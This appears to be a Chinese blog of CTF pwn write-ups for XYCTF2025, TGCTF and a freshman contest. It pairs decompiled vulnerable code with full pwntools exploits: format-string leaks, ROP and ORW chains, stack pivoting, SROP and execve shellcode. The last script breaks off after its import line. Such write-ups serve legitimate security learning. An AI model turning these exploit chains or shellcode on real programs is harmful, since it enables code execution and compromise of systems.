国内比赛

XYCTF2025

girlfirend

check发现保护全开,有菜单但是似乎不是堆题

发现有system("echo /flag"); 但是没有/bin/sh

解析各个选择

1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 lll1()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( dword_4094 )
{
puts("You have already tried to talk to her, and she left...");
}
else
{
dword_4094 = 1;
puts("Girl is very beautiful!");
puts("what do you want to say to her?");
read(0, buf, 0x50uLL);
printf("You say: %s\n", buf); // 泄露canary或者libc
puts("but she left.........");
}
return 0LL;
}

发现有栈溢出漏洞,后接printf可以利用该处输出canary的值,因为canary的低字节一般是\x00会将%s截断但是不确定在调用另一个函数后该值是否发生改变Canary 值在程序运行时是固定的,不会随着函数调用而改变。

2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 get_flag2()
{
char v1; // [rsp+Fh] [rbp-1h]

puts("Do you want to buy her flowers?");
puts("Y/N");
v1 = getchar();
while ( getchar() != 10 )
;
if ( v1 == 'Y' || v1 == 'y' )
{
if ( dword_4090 <= 200 )
{
puts("you don't have enough money");
}
else
{
puts("You did it!\n");
system("echo /flag"); // 拿flag
}
}
else
{
printf("what a pity!");
}
return 0LL;
}

关键函数,如果输入Y且dword_4090>200即可到达system函数,但是此处不能直接输出flag或者提权也没有/bin/sh想尝试将其参数传为/bin/sh

3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 lll3()
{
if ( dword_4098 <= 1 )
{
++dword_4098;
puts("You should tell her your name first");
read(0, buf, 0x100uLL);
puts("your name:");
printf(buf);
puts("You also get her name: XM");
puts("Good luck!");
}
else
{
puts("You can only introduce yourself twice.");
}
return 0LL;
}

该函数也存在溢出可用其修改dword_4090的值使其能运行到system函数,存在格式化字符串漏洞,可以把/bin/sh写到bss段用该处泄露基地址(因为开了PIE bss段的地址无法确定)

4没啥用

开了沙箱:

注意在调用read时fd也就是第一个参数只能等于0所以得先用close(0)关闭标准输入,使得在read(0,xxx,xxx)时文件指针0能够重定向到opeanat()所打开的那个文件使得flag正常读入

1

大致思路目前是这样的,首先利用3测格式化字符的偏移尝试输出elf基地址绕过PIE,输出canary,输出函数真实地址拿到libc,接着利用3构造rop链因为没有/bin/sh且禁用了execve所以选择用orw,但是opean也被禁用了但可以用opeanat代替,最后用1进行栈迁移到利用3布置的rop链上

注意在开启了PIE之后gdb调试时无法直接在main函数处下断点需要借助b *$rebase(要下断点的偏移)当然得先让程序跑起来,ida中显示的地址即为偏移

canary:

printf处存在格式化字符漏洞,可以通过输入改变printf调用时rdi的值也就是格式字符串,printf的格式字符串防在rdi中,后续对应的参数前5个放在寄存器里,也就是RSI RDX RCX R8 R9后续参数存放到栈上由低地址到高地址。

调用printf函数时的寄存器情况以及栈情况:

1

可以发现rdi成功变成了我们输入的格式字符,RSI RDX R8 R9中的内容都没有我们想要的那么看栈上的

1

可以发现第7个参数是mov edi,1的地址可以用这个泄露elf基地址,我们用泄露出来的地址减去该汇编对应偏移就是基地址

IDA中找到该条汇编,偏移为0x18D9

1

第15个很明显是canary的值因为低字节是’\x00’,为什么确定canary是该处的值呢我们调用1再来看看栈上确定该canary

1

这里运行到1中获取输入后,可以看到栈上0x7fffffffdfc8对应的值即为canary,因为其在rbp-8处

ibc基址我们选择用第17个参数也就是(__libc_start_call_main+128)的地址先输出一次获取后三位,再通过网址寻找对应libc版本。注意我们只能用__libc_start_call_main搜所以要将得到的后三位减去128

1

故为0xD90-128=0xD10搜索到实际为这个libc database search

但是此处找libc基址反而是用的mov edi,eax这条指令的偏移来找的,我尝试用__libc_start_call_main的偏移来定基地址但是打不通,怪怪的,而mov edi,eax我用ROPgadget去找没找到只有用IDA打开libc文件一个个去试试出来其对应偏移为0x29D90

所以我们的格式字符即为%7$p_%15$p_%17$p

1
2
3
4
5
6
7
8
9
10
11
12
13
io.sendlineafter("Your Choice:\n", str(3))
io.sendlineafter("You should tell her your name first",b'%7$p...%15$p...%17$p...')

io.recvuntil(b'\nyour name:\n')
elf_base = int(io.recvuntil(b'...',drop=True),16)-0x18D9
print(b'pie>>>'+hex(elf_base).encode('utf-8'))

canary = int(io.recvuntil(b'...',drop=True),16)
print(b'canary>>>'+hex(canary).encode('utf-8'))

libc_base = int(io.recvuntil(b'...',drop=True),16)-0x29D90
print(b'libc>>>'+hex(libc_base).encode('utf-8'))

接着再次用3来构造rop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload = flat([
'flag\x00\x00\x00\x00',0,
0,0,
0,0,
0,pop_rdi_ret,
0,close_addr,
pop_rdi_ret,-100,
pop_rsi_ret,bss_addr,
pop_rdx_r_ret,0x0,0,
opnat_addr,
pop_rdi_ret,0,
pop_rdx_r_ret,0x100,0,
read_addr,
pop_rdi_ret,1,
pop_rdx_r_ret,0x100,0,
pop_rax_ret,1,
write_addr,
])

首先将’flag’填充到8个字节压到byte_4060处后面的6个零是为了不将关键ROP覆盖到那几个bss段上的全局变量上防止后面运行不起来,加上flag总共0x38个字节,接着就是orw

1
2
3
4
close(0)
opeanat(-100,bss_addr,0) //-100表示当前工作目录
read(0,bss_addr,0x100)
write(1,bss_addr,0x100)

注意rop链刚好100字节不能用sendline发送会多一个字节,所以我们都使用send发送

最后就是栈迁移了

1
payload1 = b'a'*0x38 + p64(canary) + p64(bss_addr+0x30)+p64(leave_ret)

因为迁移后rsp会在rbp基础上+8所以rbp只设置为bss_addr+0x30

2025-4-10浮现了7-8个小时第一次浮现出全保护的题并且全部搞懂非常开心~~

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *


io = remote('gz.imxbt.cn',20623)

elf = ELF("./pwn")
libc=ELF("./libc2.so")
context(arch='amd64', os='linux', log_level='debug')

#io = process("./pwn")

io.sendlineafter("Your Choice:\n", str(3))
io.sendlineafter("You should tell her your name first",b'%7$p...%15$p...%17$p...')

io.recvuntil(b'\nyour name:\n')
elf_base = int(io.recvuntil(b'...',drop=True),16)-0x18D9
print(b'pie>>>'+hex(elf_base).encode('utf-8'))

canary = int(io.recvuntil(b'...',drop=True),16)
print(b'canary>>>'+hex(canary).encode('utf-8'))

libc_base = int(io.recvuntil(b'...',drop=True),16)-0x29D90
print(b'libc>>>'+hex(libc_base).encode('utf-8'))


bss_addr = elf_base + 0x004060
pop_rdi_ret = libc_base + 0x000000000002a3e5#: pop rdi; ret;
pop_rsi_ret = libc_base + 0x0000000000130202#: pop rsi; ret;
pop_rdx_r_ret = libc_base + 0x000000000011f2e7#: pop rdx; pop r12; ret;
pop_rax_ret = libc_base + 0x0000000000045eb0#: pop rax; ret;
pop_rcx_ret = libc_base + 0x000000000003d1ee#: pop rcx; ret;
syscall_ret = libc_base + 0x0000000000091316#: syscall; ret;
leave_ret = libc_base + 0x000000000004da83#: leave; ret;
opnat_addr = libc_base + libc.sym['openat']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
close_addr = libc_base + libc.sym['close']


payload = flat([
'flag\x00\x00\x00\x00',0,
0,0,
0,0,
0,pop_rdi_ret,
0,close_addr,
pop_rdi_ret,-100,
pop_rsi_ret,bss_addr,
pop_rdx_r_ret,0x0,0,
opnat_addr,
pop_rdi_ret,0,
pop_rdx_r_ret,0x100,0,
read_addr,
pop_rdi_ret,1,
pop_rdx_r_ret,0x100,0,
pop_rax_ret,1,
write_addr,
])

io.sendlineafter("Your Choice:\n", str(3))
io.sendafter("You should tell her your name first",payload)
io.recvuntil("your name:\n")

payload1 = b'a'*0x38 + p64(canary) + p64(bss_addr+0x30)+p64(leave_ret)


io.sendlineafter("Your Choice:\n", str(1))
io.sendafter("what do you want to say to her?",payload1)
io.interactive()

Ret2libc’s Revenge

一题看似简单的libc,实则不简单

checksec

1
2
3
4
5
6
7
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 revenge()
{
int v0; // eax
char v2[528]; // [rsp+0h] [rbp-220h]
int v3; // [rsp+210h] [rbp-10h]
char v4; // [rsp+217h] [rbp-9h]
int v5; // [rsp+218h] [rbp-8h]
int v6; // [rsp+21Ch] [rbp-4h]

v5 = 0;
while ( !feof(stdin) )
{
v4 = fgetc(stdin);
if ( v4 == 10 )
break;
v0 = v6++;
v5 = v0;
v2[v0] = v4;
}
v3 = v6;
v2[v6] = 0;
return v3;
}

main函数就是简单的用puts输出了一段内容然后调用漏洞函数,漏洞函数逐个字符循环读取键盘输入到v2中存在栈溢出,但是这道题难在没有关键gadget:”pop rdi;ret”导致无法直接构造rop链泄露libc版本,唯一一个pop只有pop rbp可能只能靠这个来传参然后就卡住了

浮现版:

观察发现revenge函数内存在数组溢出,注意缓冲区的设置

1
2
3
4
5
6
7
__int64 init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 0, 0LL);
setvbuf(stderr, 0LL, 0, 0LL);
return 0LL;
}

输入流设置的无缓冲,输出流设置的全缓冲

1

程序中并没有fflush函数,想要改变setbuf的参数也比较困难故选择将缓冲区填满使得我们能够用puts泄露出其实际地址来找libc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

from pwn import *
context(arch='amd64',log_level='debug')

#io = process('./pwn')
io = remote("47.94.103.208",22660)
elf = ELF('./pwn')
libc = ELF("./libc1.so")
# gdb.attach(io)
s = lambda data :io.send(data)
sa = lambda text,data :io.sendafter(text, data)
sl = lambda data :io.sendline(data)
sla = lambda text,data :io.sendlineafter(text, data)
r = lambda num=4096 :io.recv(num)
rl = lambda :io.recvline()
ru = lambda text :io.recvuntil(text)
uu32 = lambda :u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64 = lambda :u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
inf = lambda s :info(f"{s} ==> 0x{eval(s):x}")


bss = 0x404100


gadget1 = 0x0000000000401180#'''mov rdi, rsi ; ret'''
xor_rsi = 0x00000000004010e4#'''and rsi, 0 ; ret'''将rsi清零
add_rsi_rbp20 = 0x00000000004010eb#add rsi, dword ptr [rbp + 0x20] ; ret
rbp = 0x000000000040117d#'''pop rbp ; ret'''
ret =0x000000000040101a
magic = 0x00000000004010eb#add rsi, dword ptr [rbp + 0x20] ; ret

pay = b'a'*0x218+b'\x18'+b'\x02'+b'\x00'*2+b'\x1d'+b'\x02'+b'\x00'*2+p64(bss+0x220)+p64(0x401207)
sl(pay)
ret = 0x000000000040101a


pay = b'a'*(0x200-8)+p64(0x404060)+p64(0x404018)+p64(0)*2+b'\x18'+b'\x02'+b'\x00'*2+b'\x1d'+b'\x02'+b'\x00'*2+p64(0x404300-0x20)\
+p64(xor_rsi)+p64(add_rsi_rbp20)+p64(gadget1)+p64(0x401070)\
+p64(rbp)+p64(0x4042e0-0x20)+p64(xor_rsi)+p64(add_rsi_rbp20)+p64(gadget1)+p64(xor_rsi)+p64(0x4010a0)+p64(rbp)+p64(bss+0x420)+p64(0x401207)
sl(pay)
rl()
puts = u64(rl()[:-1].ljust(8,b'\x00'))
inf('puts')
libc.address = puts - libc.sym['puts']
system = libc.sym['system']

# gdb.attach(io,'directory /home/yxhueimie/Desktop/glibc_source/glibc-2.35/libio\nb *0x401261\nc')
pay = b'a'*(0x200-8)+p64(0x404758)+p64(0x404018)+p64(0)*2+b'\x18'+b'\x02'+b'\x00'*2+b'\x1d'+b'\x02'+b'\x00'*2+p64(0x4044f8-0x20)+p64(xor_rsi)+p64(add_rsi_rbp20)+p64(gadget1)+p64(ret)*2+p64(ret)*0x40+p64(system)+b'/bin/sh\x00'
sl(pay)



io.interactive()

商丘师范学院新生赛4.7

浅红欺醉粉,肯信有江梅

nc连接直接ls``cat

1

领取你的小猫娘

简单栈溢出

exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
io=process('./pwn')
io=remote('challenge.qsnctf.com',30010)
elf=ELF('./pwn')

system=0x40121B
payload=b'a'*(0x50+8)+p64(system)
io.sendline(payload)

io.interactive()

当时只道是寻常

主要汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000401000 48 83 EC 08                   sub     rsp, 8
.text:0000000000401004 B8 01 00 00 00 mov eax, 1
.text:0000000000401009 BF 01 00 00 00 mov edi, 1 ; fd
.text:000000000040100E 48 BE 00 20 40 00 00 00 00 00 mov rsi, offset msg ; buf
.text:0000000000401018 BA 3A 00 00 00 mov edx, 3Ah ; ':' ; count
.text:000000000040101D 0F 05 syscall ; LINUX - sys_write
.text:000000000040101F B8 00 00 00 00 mov eax, 0
.text:0000000000401024 BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000401029 48 89 E6 mov rsi, rsp ; buf
.text:000000000040102C BA 00 04 00 00 mov edx, 400h ; count
.text:0000000000401031 0F 05 syscall ; LINUX - sys_read
.text:0000000000401033 BA 08 00 00 00 mov edx, 8 ; count
.text:0000000000401038 B8 01 00 00 00 mov eax, 1
.text:000000000040103D BF 01 00 00 00 mov edi, 1 ; fd
.text:0000000000401042 48 89 E6 mov rsi, rsp ; buf
.text:0000000000401045 0F 05 syscall ; LINUX - sys_write
.text:0000000000401047 5D pop rbp
.text:0000000000401048 C3 retn

伪代码

1
2
3
4
5
6
7
8
9
10
signed __int64 start()
{
signed __int64 v0; // rax
signed __int64 v1; // rax
char v3[8]; // [rsp+0h] [rbp-8h] BYREF

v0 = sys_write(1u, &msg, 58uLL);
v1 = sys_read(0, v3, 0x400uLL);
return sys_write(1u, v3, 8uLL);
}

一开始看到是系统调用read有点蒙,直接用gdb调试

有/bin/sh存在栈溢出,什么保护都没开但不能直接构造rop链gadget不太够用这里尝试伪造栈帧通过系统调用sys_rt_sigreturn 改变寄存器状态从而系统调用execve(“/bin/sh,0,0”)

要系统调用execve(“/bin/sh,0,0”)需要控制以下寄存器

1
2
3
4
rdi --> /bin/sh地址(题目中给到了)
rsi --> 0
rdx -->0
rax -->3b

故通过伪造信号帧的方式来调整寄存器的值

先利用已有gadget进行系统调用 sys_rt_sigreturn

1
payload=b'a'*0x8+p64(pop_rax)+p64(0xf)+p64(syscall)

因为是系统调用read只在最后有pop rbp ret的操作故栈上前8个字节会弹到rbp中rsp+8,原rbp处变成了返回地址弹到rip中,故只填充8个字节pop_rax会被放到rip中执行

利用pwntool库中的SigreturnFrame函数伪造信号帧并将其转换为字节序列压入栈中

1
2
3
4
5
6
7
8
fake = SigreturnFrame()  
fake.rax = 0x3b
fake.rdi = 0x40203A
fake.rdx = 0
fake.rsi = 0
fake.rsp = 0x402044
fake.rip = 0x401045
payload+=bytes(fake)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import*
context.update(arch='amd64',os='linux',log_level='debug')
#context.terminal=['qterminal','-e']
debug=1
if debug:
p=process('./pwn01')
else:
p=remote('challenge.qsnctf.com',30956)
pop_rax=0x000000000040104a
bin_sh=0x40203a
payload=b'a'*8
payload+=p64(pop_rax)
payload+=p64(0xf)
payload+=p64(0x401045)
fake = SigreturnFrame()
fake.rax = 0x3b
fake.rdi = 0x40203A
fake.rdx = 0
fake.rsi = 0
fake.rsp = 0x402044
fake.rip = 0x401045
payload+=bytes(fake)
+gdb.attach(p)
p.send(payload)
p.interactive()

我觉君非池中物,咫尺蛟龙云雨

虽然保护全开但是用 mprotect函数使得bss段可读写执行故直接写shellcode即可

注意要小于0x30个字节我用了个24字节的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
#io=process('./pwn')
io=remote('challenge.qsnctf.com',32618)
elf=ELF('./pwn')

payload = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
#gdb.attach(io,'b* 0x401031')

# 打印或发送payload
print(payload)
io.recvuntil('window.')
io.sendline(payload)

io.interactive()

江南无所有,聊赠一枝春

简单ret2text

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
context(arch='amd64',os='linux',log_level='debug')
#io=process('./pwn01')
io=remote('challenge.qsnctf.com',32599)

gift = 0x4011DC

payload=b'a'*(0x40+0x8)+p64(gift)

io.sendline(payload)

io.interactive()

TGCTF

签到

简单的签到题,栈溢出构造rop链泄露libc基地址接着构造system(/bin/sh)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import*
from LibcSearcher import*
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote('node1.tgctf.woooo.tech',32243)
libc = ELF('./libc.so.6')
elf=ELF('./pwn')
main=elf.symbols['main']
puts_got=elf.got['puts']
puts_plt=0x401060
pop_rdi_ret=0x401176
ret=0x40101a
payload=b'a'*(0x70+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)

io.sendline(payload)
puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

print(hex(puts))


libc_base=puts-libc.symbols['puts']
system=libc_base+libc.symbols['system']
bin_sh=libc_base+0x1d8678

payload1=b'a'*(0x70+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)
io.sendline(payload1)


io.interactive()

shellcode

checksec

1
2
3
4
5
6
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

题目提示够用了仔细看寄存器

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall main(int a1, char **a2, char **a3)
{
void *buf; // [rsp+8h] [rbp-8h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("hello hacker");
puts("try to show your strength ");
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
read(0, buf, 18uLL);
mprotect(buf, 0x1000uLL, 4);
sub_11C9(buf);
return 0LL;
}

buf位于栈上被改为可读可写可执行,后续buf作为参数被传入rdi中调用sub_11C9函数,汇编如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
.text:00000000000011C9 F3 0F 1E FA                   endbr64
.text:00000000000011CD 55 push rbp
.text:00000000000011CE 48 89 E5 mov rbp, rsp
.text:00000000000011D1 41 57 push r15
.text:00000000000011D3 41 56 push r14
.text:00000000000011D5 41 55 push r13
.text:00000000000011D7 41 54 push r12
.text:00000000000011D9 53 push rbx
.text:00000000000011DA 48 89 7D D0 mov [rbp+var_30], rdi
.text:00000000000011DE 48 8B 7D D0 mov rdi, [rbp+var_30]
.text:00000000000011E2 48 31 C0 xor rax, rax
.text:00000000000011E5 48 31 DB xor rbx, rbx
.text:00000000000011E8 48 31 C9 xor rcx, rcx
.text:00000000000011EB 48 31 D2 xor rdx, rdx
.text:00000000000011EE 48 31 F6 xor rsi, rsi
.text:00000000000011F1 4D 31 C0 xor r8, r8
.text:00000000000011F4 4D 31 C9 xor r9, r9
.text:00000000000011F7 4D 31 D2 xor r10, r10
.text:00000000000011FA 4D 31 DB xor r11, r11
.text:00000000000011FD 4D 31 E4 xor r12, r12
.text:0000000000001200 4D 31 ED xor r13, r13
.text:0000000000001203 4D 31 F6 xor r14, r14
.text:0000000000001206 4D 31 FF xor r15, r15
.text:0000000000001209 48 31 ED xor rbp, rbp
.text:000000000000120C 48 31 E4 xor rsp, rsp
.text:000000000000120F 48 89 FF mov rdi, rdi
.text:0000000000001212 FF E7 jmp rdi
.text:0000000000001212
.text:0000000000001212 sub_11C9 endp

会将除RDI RIP外的所有寄存器清零故在设置execve(‘/bin/sh,0,0’)时我们不用管rsi和rdx,只用看rdi和rax就好了,关键在于如何让rdi的值为/bin/sh的地址,注意只能是/bin/sh的地址,因为execve的各个参数都是指针,如果直接将/bin/sh这个具体字符赋值给rdi函数会无法解析,选择将/bin/sh写在buf上,然后通过rsp传递/bin/sh

1
2
3
4
lea rsp, [rdi + 11]   ;4字节将rdi指向的地址加上 11后的结果赋值给rsp(刚好指向/bin/sh)
mov rdi,rsp ;3字节将rsp的值赋给rdi
mov al,0x3b ;2字节将rax的值设置为0x3b
syscall ;2字节系统调用

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote('node2.tgctf.woooo.tech',30243)
#io = process('./pwn')
elf=ELF('./pwn')
shellcode = asm('''
lea rsp, [rdi + 11]
mov rdi,rsp
mov al,0x3b
syscall
''')
payload = shellcode+ b'/bin/sh'

#gdb.attach(io)
io.send(payload)
#pause()

io.interactive()

新姿势:lea用于计算内存地址并将结果存储在目标寄存器中,相较于先add再mov更省字节

stack

checksec

1
2
3
4
5
6
7
桌面$ checksec pwn            
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
std::operator<<<std::char_traits<char>>(&std::cout, "welcome! could you tell me your name?\n");
read(0, &unk_404060, 0xA8uLL);
std::operator<<<std::char_traits<char>>(&std::cout, "what dou you want to say?\n");
sub_4011FA();
return 0LL;
}

sub_4011FA()函数

1
2
3
4
5
6
7
8
9
void *sub_4011FA()
{
signed __int64 v0; // rax
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
void *retaddr; // [rsp+48h] [rbp+8h]

v0 = sys_read(0, buf, 0x50uLL);
return retaddr;
}

sub_4011FA()函数很明显存在栈溢出但是要构造rop链来泄露libc明显不太够main函数中还有个read可以读很多数据到data段

data段从unk_404060开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
.data:0000000000404060 00                            unk_404060 db    0                      ; DATA XREF: main+62↑o
.data:0000000000404061 00 db 0
.data:0000000000404062 00 db 0
.data:0000000000404063 00 db 0
.data:0000000000404064 00 db 0
.data:0000000000404065 00 db 0
.data:0000000000404066 00 db 0
.data:0000000000404067 00 db 0
.data:0000000000404068 00 db 0
.data:0000000000404069 00 db 0
.data:000000000040406A 00 db 0
.data:000000000040406B 00 db 0
.data:000000000040406C 00 db 0
.data:000000000040406D 00 db 0
.data:000000000040406E 00 db 0
.data:000000000040406F 00 db 0
.data:0000000000404070 00 db 0
.data:0000000000404071 00 db 0
.data:0000000000404072 00 db 0
.data:0000000000404073 00 db 0
.data:0000000000404074 00 db 0
.data:0000000000404075 00 db 0
.data:0000000000404076 00 db 0
.data:0000000000404077 00 db 0
.data:0000000000404078 00 db 0
.data:0000000000404079 00 db 0
.data:000000000040407A 00 db 0
.data:000000000040407B 00 db 0
.data:000000000040407C 00 db 0
.data:000000000040407D 00 db 0
.data:000000000040407E 00 db 0
.data:000000000040407F 00 db 0
.data:0000000000404080 00 db 0
.data:0000000000404081 00 db 0
.data:0000000000404082 00 db 0
.data:0000000000404083 00 db 0
.data:0000000000404084 00 db 0
.data:0000000000404085 00 db 0
.data:0000000000404086 00 db 0
.data:0000000000404087 00 db 0
.data:0000000000404088 00 db 0
.data:0000000000404089 00 db 0
.data:000000000040408A 00 db 0
.data:000000000040408B 00 db 0
.data:000000000040408C 00 db 0
.data:000000000040408D 00 db 0
.data:000000000040408E 00 db 0
.data:000000000040408F 00 db 0
.data:0000000000404090 00 db 0
.data:0000000000404091 00 db 0
.data:0000000000404092 00 db 0
.data:0000000000404093 00 db 0
.data:0000000000404094 00 db 0
.data:0000000000404095 00 db 0
.data:0000000000404096 00 db 0
.data:0000000000404097 00 db 0
.data:0000000000404098 00 db 0
.data:0000000000404099 00 db 0
.data:000000000040409A 00 db 0
.data:000000000040409B 00 db 0
.data:000000000040409C 00 db 0
.data:000000000040409D 00 db 0
.data:000000000040409E 00 db 0
.data:000000000040409F 00 db 0
.data:00000000004040A0 01 00 00 00 00 00 00 00 qword_4040A0 dq 1 ; DATA XREF: sub_4011FA-2A↑r
.data:00000000004040A8 ; unsigned int fd
.data:00000000004040A8 01 00 00 00 00 00 00 00 fd dq 1 ; DATA XREF: sub_4011FA-23↑r
.data:00000000004040B0 00 db 0
.data:00000000004040B1 00 db 0
.data:00000000004040B2 00 db 0
.data:00000000004040B3 00 db 0
.data:00000000004040B4 00 db 0
.data:00000000004040B5 00 db 0
.data:00000000004040B6 00 db 0
.data:00000000004040B7 00 db 0
.data:00000000004040B8 ; size_t count
.data:00000000004040B8 0B 00 00 00 00 00 00 00 count dq 0Bh ; DATA XREF: sub_4011FA-19↑r
.data:00000000004040C0 ; char buf[72]
.data:00000000004040C0 00 00 00 00 00 00 00 00 00 00+buf db 48h dup(0) ; DATA XREF: sub_4011FA-3C↑o
.data:00000000004040C0 00 00 00 00 00 00 00 00 00 00+ ; sub_4011FA-31↑o
.data:0000000000404108 2F 62 69 6E 2F 73 68 00 aBinSh db '/bin/sh',0

发现了/bin/sh地址,先记录后续应该用的上,溢出字节数够我们可以覆盖很多内容:qword_4040A0 dq 1;fd dq 1 ;count dq 0Bh 这三个参数很可疑汇编里找找它在哪

sub_4011FA

1

发现当[rbp+8]处的内容和[rbp+0x28]处的内容不一样时会跳转到loc_4011B6这个函数

找到这个函数就在sub_4011FA汇编的上面,但是没有对应的函数名称所以在左侧函数名称栏看不到

1

发现了刚刚我们可以覆盖的那几个参数,分别对应rax ,rdi,rdx,其中通过gdb调试发现rsi的地址是指向0的指针,所以我们可以通过第一个read来覆盖特定参数达到execve(‘/bin/sh,0,0’)

当[rbp+8]处的内容和[rbp+0x28]处的内容不一样时才会跳转到loc_4011B6这个函数,在未栈溢出覆盖时这两个地方的值是一样的所以我们要覆盖掉rbp+8处的内容使函数能正常跳转

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote('node1.tgctf.woooo.tech',30764)
#io = process('./pwn')
#libc = ELF('./libc.so.6')
elf=ELF('./pwn')
bin_sh=0x404108

qword_4040A0_offset = 0x40 # 64 字节
fd_offset = 0x48 # 72 字节
count_offset = 0x58
# 构造 payload
payload = b'A' * qword_4040A0_offset # 填充到 qword_4040A0 的偏移量
payload += p64(0x3b) # 写入 0x3b
payload += b'B' * (fd_offset - qword_4040A0_offset - 8) # 填充到 fd 的偏移量
payload += p64(0x404108) # 写入 0x404108
payload += b'C' * (count_offset - fd_offset - 8) # 填充到 count 的偏移量
payload += p64(0x0000000000000000)




io.send(payload)
payload = b'a'*(0x40)+b'12345678'*2
#gdb.attach(io)
io.sendafter(b'want to say?\n',payload)

#pause()

io.interactive()

overflow

checksec

1
2
3
4
5
6
7
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

check版本老了,实际上没开canary因为静态编译所以误检测了,程序是静态编译的,两段输入第一段通过read读到bss段上可以读0x100个字节,第二段gets读入栈上可以栈溢出控制执行流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[200]; // [esp+0h] [ebp-D0h] BYREF
int *p_argc; // [esp+C8h] [ebp-8h]

p_argc = &argc;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr[0], 0, 2, 0);
puts("could you tell me your name?");
read(0, name, 0x100);
puts("i heard you love gets,right?");
gets(buf);
return 0;
}

目前思路在name处写下rop链进行ret2syscall系统调用execve(‘/bin/sh’,0,0),gets处构造溢出控制执行流即可

因为是全静态编译,gets函数也是静态构造的没有link,所以通过gdb调试进入到gets函数来找偏移

1

前面还有一个 _uflow 函数调用获取一个字符所以我们的输入起始地址是0xfffd048继续调式

可以看到运行到gets函数结束时旧的ebp在0xffffd118处距离输入即为0xD0这个数据和IDA上的相同但是想要控制执行流并不能将返回地址覆盖在0xD0+4+4处因为main函数汇编ret这里有点不一样

1

我们先找esp因为最后retn是pop eip将esp指向的地址弹给执行流,来到080498C0处也就是lea esp,[ebp - 8]ebp是我们可控的,esp现在的地址是[ebp - 8]处紧接着pop ecx将该处前4个字节弹给ecx后面还要弹两个但是用处不大,就到了0x080498C6处lea esp,[ecx - 4]此时esp的值被改为了[ecx - 4]也就是[ebp - 8 -4]处所以我们要将返回地址放到[ebp-8]处才能跳转且返回地址的值要加4才是正确的返回地址

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

